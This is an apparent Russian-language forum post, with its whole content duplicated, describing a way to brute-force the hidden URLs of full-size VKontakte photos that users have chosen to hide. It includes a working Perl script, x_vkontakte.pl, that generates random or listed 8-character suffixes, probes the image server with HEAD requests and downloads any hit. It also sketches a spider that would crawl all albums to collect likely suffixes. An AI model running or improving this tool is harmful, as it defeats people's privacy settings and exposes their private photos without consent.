flatr0ze
31.07.2009, 11:18
Идея заключается в следующем: [в]контакте существуют альбомы с фотографиями, и ксожалению, зачастую полноразмерные картинки скрыты (чаще всего по инициативе пользователя).
Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226
Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_18b46833.jpg
Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_fbca3166.jpg
Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные.
Брутфорс осуществляется подбором этих 8 символов двумя способами:
1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов.
2. Рандомно, "налету".
8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет;
2 символа чуть меньше минуты;
3 за 15;
ну а на 4 уйдет 8-10 часов;
При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg
Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь...
Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения.
Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_...
на два полных гига целый день уходит...
Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются.
x_vkontakte.pl
#!/usr/bin/perl
# version: 0.8.4
# author: flatr0ze
# e-mail: flat.rose@gmail.com
use LWP::Simple;
print "\n1. Paste the full path of the image thumbnail:\n] ";
chomp($m_path1234 = <STDIN>);
$folder = substr $m_path1234, 0, -14;
$m_filename = substr $m_path1234, -14;
$m_hash1234 = substr $m_filename, 2, -4;
print "Parsing thumbnail...\n\n";
print "Image folder: ".$folder."\n";
print "Thumbnail filename: ".$m_filename."\n";
print "Thumbnail hash: ".$m_hash1234."\n\n";
print "2. Enter path to the hashlist, or leave it empty to run hash generator: \n] ";
chomp($hashlist = <STDIN>);
if ($hashlist) {
print "Loading hashlist...\n\n";
open(HASHLIST, $hashlist) || die "Error: Could not open hashlist file.\n";
# $attempts = <number of lines>; // depleted
while ($string = <HASHLIST>) {
$hash1234 = substr $string, 0, 8;
if (length($hash1234) > 7) {
$url = $folder."x_".$hash1234.".jpg";
if (head($url)) {
print "File ".$url." exists!\n\n";
print "Saving...\n\n";
getstore($url, "x_".$hash1234.".jpg");
} else {
print "File ".$url." doesn't exist.\r\r";
}
}
}
close(HASHLIST);
print "\n\nFinished!\n\n";
} else {
$attempts = 100000000;
print "Starting hash generator with ".$attempts." attempts...\n\n";
for ($i = 0; $i <= $attempts; $i++) {
$hash1234 = generateHash();
$url = $folder."x_".$hash1234.".jpg";
if (head($url)) {
print "[".$i."/".$attempts."] ";
print "File ".$url." exists!\n\n";
print "Saving...\n\n";
getstore($url, "x_".$hash1234.".jpg");
} else {
print "[".$i."/".$attempts."] ";
print "File ".$url." doesn't exist.\r\r";
}
}
print "\n\nFinished.\n\n";
}
sub generateHash {
my @chars = ('a'..'z','0'..'9');
my $hash;
for (0..7) {
$hash .= $chars[int rand @chars];
}
return $hash;
}
Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226
Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_18b46833.jpg
Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_fbca3166.jpg
Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные.
Брутфорс осуществляется подбором этих 8 символов двумя способами:
1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов.
2. Рандомно, "налету".
8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет;
2 символа чуть меньше минуты;
3 за 15;
ну а на 4 уйдет 8-10 часов;
При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg
Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь...
Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения.
Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_...
на два полных гига целый день уходит...
Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются.
x_vkontakte.pl
#!/usr/bin/perl
# version: 0.8.4
# author: flatr0ze
# e-mail: flat.rose@gmail.com
use LWP::Simple;
print "\n1. Paste the full path of the image thumbnail:\n] ";
chomp($m_path1234 = <STDIN>);
$folder = substr $m_path1234, 0, -14;
$m_filename = substr $m_path1234, -14;
$m_hash1234 = substr $m_filename, 2, -4;
print "Parsing thumbnail...\n\n";
print "Image folder: ".$folder."\n";
print "Thumbnail filename: ".$m_filename."\n";
print "Thumbnail hash: ".$m_hash1234."\n\n";
print "2. Enter path to the hashlist, or leave it empty to run hash generator: \n] ";
chomp($hashlist = <STDIN>);
if ($hashlist) {
print "Loading hashlist...\n\n";
open(HASHLIST, $hashlist) || die "Error: Could not open hashlist file.\n";
# $attempts = <number of lines>; // depleted
while ($string = <HASHLIST>) {
$hash1234 = substr $string, 0, 8;
if (length($hash1234) > 7) {
$url = $folder."x_".$hash1234.".jpg";
if (head($url)) {
print "File ".$url." exists!\n\n";
print "Saving...\n\n";
getstore($url, "x_".$hash1234.".jpg");
} else {
print "File ".$url." doesn't exist.\r\r";
}
}
}
close(HASHLIST);
print "\n\nFinished!\n\n";
} else {
$attempts = 100000000;
print "Starting hash generator with ".$attempts." attempts...\n\n";
for ($i = 0; $i <= $attempts; $i++) {
$hash1234 = generateHash();
$url = $folder."x_".$hash1234.".jpg";
if (head($url)) {
print "[".$i."/".$attempts."] ";
print "File ".$url." exists!\n\n";
print "Saving...\n\n";
getstore($url, "x_".$hash1234.".jpg");
} else {
print "[".$i."/".$attempts."] ";
print "File ".$url." doesn't exist.\r\r";
}
}
print "\n\nFinished.\n\n";
}
sub generateHash {
my @chars = ('a'..'z','0'..'9');
my $hash;
for (0..7) {
$hash .= $chars[int rand @chars];
}
return $hash;
}